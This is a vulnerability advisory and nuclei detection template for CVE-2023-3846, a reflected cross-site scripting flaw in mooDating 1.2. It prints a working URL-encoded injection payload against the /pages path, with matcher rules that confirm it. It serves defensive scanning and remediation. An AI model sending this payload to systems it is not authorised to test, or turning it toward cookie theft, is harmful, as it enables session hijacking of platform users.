CVE-2023-3846· moosocial / moodating· CWE-79
MooDating 1.2 - Cross-Site Scripting
A vulnerability classified as problematic has been found in mooSocial mooDating 1.2. This affects an unknown part of the file /pages of the component URL Handler. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely.
Impact
Unauthenticated attackers can inject malicious JavaScript through the URL Handler in the pages component, potentially stealing session cookies and credentials from users of the mooDating platform.
Fix
Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes URL parameters and encodes output to prevent XSS attacks.
How to confirm it
Send: GET {{BaseURL}}/pagesi3efi%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3ebdk84/no-permission-role?access_token&=redirect_url=aHR0cHM6Ly9kZW1…
Positive when: status_code == 404 and contains(content_type, "text/html") and contains_all(body, "><img src=a onerror=alert(document.domain)>", "mooDating")Run it with nuclei: nuclei -id CVE-2023-3846 -u <target>
The full check
id: CVE-2023-3846
info:
name: MooDating 1.2 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
A vulnerability classified as problematic has been found in mooSocial mooDating 1.2. This affects an unknown part of the file /pages of the component URL Handler. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely.
impact: |
Unauthenticated attackers can inject malicious JavaScript through the URL Handler in the pages component, potentially stealing session cookies and credentials from users of the mooDating platform.
remediation: |
Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes URL parameters and encodes output to prevent XSS attacks.
reference:
- https://packetstormsecurity.com/files/173691/mooDating-1.2-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-3846
- https://vuldb.com/?ctiid.235197
- https://vuldb.com/?id.235197
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-3846
cwe-id: CWE-79
epss-score: 0.05955
epss-percentile: 0.93341
cpe: cpe:2.3:a:moosocial:moodating:1.2:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: moosocial
product: moodating
tags: cve2023,cve,packetstorm,xss,moodating,moosocial,vuln
http:
- method: GET
path:
- "{{BaseURL}}/pagesi3efi%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3ebdk84/no-permission-role?access_token&=redirect_url=aHR0cHM6Ly9kZW1vLm1vb2RhdGluZ3NjcmlwdC5jb20vbWVldF9tZS9pbmRleC9tZWV0X21l"
matchers:
- type: dsl
dsl:
- 'status_code == 404'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "><img src=a onerror=alert(document.domain)>", "mooDating")'
condition: andReferences
- https://packetstormsecurity.com/files/173691/mooDating-1.2-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-3846
- https://vuldb.com/?ctiid.235197
- https://vuldb.com/?id.235197
Use this check only on systems you are authorised to test. Where the data comes from